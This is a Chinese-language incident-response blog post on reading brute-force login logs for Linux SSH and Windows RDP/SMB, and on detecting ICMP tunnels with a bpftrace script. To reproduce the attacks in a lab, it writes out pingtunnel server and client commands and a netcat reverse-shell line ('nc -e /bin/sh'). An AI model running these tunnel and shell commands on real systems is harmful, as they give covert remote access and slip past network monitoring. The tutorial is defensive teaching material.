hzhsec

 

密码爆破日志分析与隧道流量检查


免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。


爆破日志分析

在应急响应时,为了了解和追查攻击者的攻击入口点和攻击意图,通常使用日志分析的方法,还原攻击方法获取攻击者指纹

其中爆破攻击是在内外网中最常见的一种攻击,尤其是内网横向移动

在分析日志时,需要做到:

  • 明确日志的具体路径
  • 明确日志中有哪些属性和判断依据

现在我通过Linux和Windows两种操作系统为例,分析爆破攻击的日志

Linux

系统日志通常是分析 /var/log 路径下面的日志

其中最为重要的是:
/var/log/auth.log
或者
/var/log/secure

当然如果是第三方安装的程序,需要找对应的日志路径

Linux-ssh爆破

攻击复现

使用railgun破解工具对虚拟机进行ssh爆破
image.png

日志检查

查看 /var/log/secure 情况
image.png
查看错误日志登录
cat /var/log/secure|grep Failed
image.png
其中许多错误密码记录,并且时间间隔很近,可以判定为爆破事件

成功判断

观察是否登录成功:
cat /var/log/secure|grep Accepted
image.png

来源统计

统计登录失败的ip和次数
image.png

处置建议

有爆破成功登录的日志,后续需要紧急对该ip进行拉黑封堵

防止爆破建议安装 fail2ban 进行防御

Windows

Windows-RDP:

事件ID:4625/4624

  • 4624:登陆成功
  • 4625:登陆失败

登陆类型:2/3/5/10

  • 2 交互式登录(也称为“本地登录”)
  • 3 Network (网络)
  • 10 远程桌面(以前称为“终端服务”)

环境准备

虚拟机启动远程服务端口
控制面板-->搜索远程-->允许远程访问你的计算机-->允许应用,此时3389端口就启用了
image.png
关闭防火墙
image.png

审核配置

开启审核登录成功失败策略

Win + R → secpol.msc

点击

本地策略
 └── 审核策略
      └── 审核登录事件

修改(当然最好全部打开,为后面的实验准备)
image.png

日志位置

日志查看路径
日志查看方法有多种:

  1. 直接访问
    文件夹C:\Windows\System32\winevt\Logs下的日志,一般重点看security.evtxsetup.evtxsystem.evtx
    image.png
  2. 使用事件管理器
    Win+R输入eventvwr-->windows日志-->安全
    接下来使用后面使用事件管理器为主
    image.png

攻击复现

同理使用工具爆破
image.png

日志分析

查看日志,看到大量失败日志,并且事件时间距离很近,判断为爆破事件
image.png
通过筛选和时间判断,登录是否成功
image.png
查看详细信息可以获取爆破的事件类型为网络登录
image.png

Windows-SMB:

事件ID:4625/4624

登陆类型:2/3/5/10

环境准备

在本地搭建开启smb服务
参考链接:https://zhuanlan.zhihu.com/p/879444178
策略也要改,不然没有日志

攻击复现

使用爆破工具
image.png

日志分析

同样
image.png

信息提取

从详细信息提取攻击者的信息和事件类型
image.png

除上述例子外还有FTP,Redis,MYSQL,STMP等协议爆破事件,有的是通过系统下载会直接存到系统日志,有些则是应用自带日志管理,需要灵活辨认

隧道流量分析

场景说明:内网或不出网的情况下,协议隧道技术很常见,那么如何定位到进程及攻击者?

  1. 明确隧道最常使用的协议技术(socket,DNS,ICMP等等)
  2. 明确Windows,Linux中分析技术

下面我以ICMP隧道为例子

ICMP实验

Linux-ICMP

Kail为客户端:192.168.41.128
image.png
Centos为服务端:192.168.41.144
image.png

工具准备

工具地址:pingtunnel

服务端启动

服务端启动

sudo ./pingtunnel -type server -key 1234

image.png

客户端启动

客户端启动

sudo ./pingtunnel -type client -l :4445 -s 192.168.41.144 -t 127.0.0.1:4444 -tcp 1 -key 1234

image.png

隧道说明

含义

client连4445 → server → server本机4444

连接测试

测试连接
服务端监听4444

nc -lvvp 4444

image.png

上线验证

客户端执行上线

nc -e /bin/sh 127.0.0.1 4445

image.png
以上看出已经连上了

本地检查

看看客户端本地能不能查看到外联情况

netstat -anpt

image.png
也是成功将隧道打通隐藏了

隧道检测

分析与发现icmp隧道:

request_monitor.sh

#!/bin/bash

convert_ip_to_integers() {
  local ip=$1
  IFS='.' read -r a b c d <<< "$ip"

  be_ip_int=$((a << 24 | b << 16 | c << 8 | d))
  le_ip_int=$((d << 24 | c << 16 | b << 8 | a))

  echo "$be_ip_int $le_ip_int"
}

IP="$1"

if [ -z "$IP" ]; then
  echo "用法: $0 <目标IP>"
  exit 1
fi

read big_endian little_endian <<< "$(convert_ip_to_integers "$IP")"

echo "Start listening for ICMP traffic related to $IP"
echo ""

sudo bpftrace ./request_monitor.bt "$big_endian" "$little_endian" | while IFS= read -r line; do
  if [[ "$line" == EVENT* ]]; then
    pid=$(echo "$line" | sed -n 's/.*pid=\([0-9]\+\).*/\1/p')

    exe="N/A"
    if [[ -n "$pid" && -e "/proc/$pid/exe" ]]; then
      exe=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
      [[ -z "$exe" ]] && exe="N/A"
    fi

    echo "$line exe=$exe"
  else
    echo "$line"
  fi
done

request_monitor.bt

#!/usr/bin/env bpftrace

/*
  监听和指定 IP 相关的 ICMP 流量(双向)
  参数:
    $1 = 目标IP大端整数
    $2 = 目标IP小端整数
*/

kprobe:__dev_queue_xmit
{
    $skb = (struct sk_buff *)arg0;
    if ($skb) {
        $iph = (struct iphdr *)($skb->head + $skb->network_header);
        if ($iph) {
            if ($iph->protocol == 1) {
                if ($iph->daddr == $1 || $iph->daddr == $2 ||
                    $iph->saddr == $1 || $iph->saddr == $2) {

                    printf("EVENT send pid=%d tid=%d comm=%s src=%s dst=%s\n",
                           pid, tid, comm,
                           ntop(2, $iph->saddr),
                           ntop(2, $iph->daddr));
                }
            }
        }
    }
}

kprobe:netif_receive_skb
{
    $skb = (struct sk_buff *)arg0;
    if ($skb) {
        $iph = (struct iphdr *)($skb->head + $skb->network_header);
        if ($iph) {
            if ($iph->protocol == 1) {
                if ($iph->daddr == $1 || $iph->daddr == $2 ||
                    $iph->saddr == $1 || $iph->saddr == $2) {

                    printf("EVENT recv pid=%d tid=%d comm=%s src=%s dst=%s\n",
                           pid, tid, comm,
                           ntop(2, $iph->saddr),
                           ntop(2, $iph->daddr));
                }
            }
        }
    }
}

环境安装

安装:

sudo apt update
sudo apt install bpftrace

chmod +x request_monitor.sh
chmod +x request_monitor.bt

启动监听

启动监听

./request_monitor.sh ip
ip可以是本机ip也可以是目标ip

客户机ip(受害机)
image.png
成功获取到本地icmp连接的端口以及程序进程和路径

处置建议

后面就是对ip进行处置封锁

Windows-ICMP

服务端kail:192.168.42.130
image.png

客户端win10:192.168.42.133
image.png

实验环境

实验工具:pingtunnel

服务端启动

sudo ./pingtunnel -type server -key 1234

image.png

客户端启动

pingtunnel.exe -type client -l :4445 -s 192.168.42.130 -t 127.0.0.1:4444 -tcp 1 -key 1234

image.png

流量分析

分析icmp流量:Microsoft Message Analyzer

下载:Microsoft Message Analyzer

进程定位

以管理员身份运行
image.png
点击Start Local Trace找到icmp流量
image.png
选中一条,打开details4,如图
image.png
点击详细信息,如图
image.png
就可以准查到进程命令了
image.png

补充说明

由于Microsoft Message Analyzer现在已经停止更新了,所以有些系统无法使用,也可以通过wireshark对流量进行分析

处置
封IP及防火墙限制协议

posted on 2026-04-04 22:59  hzhsec  阅读(10)  评论(0)    收藏  举报

导航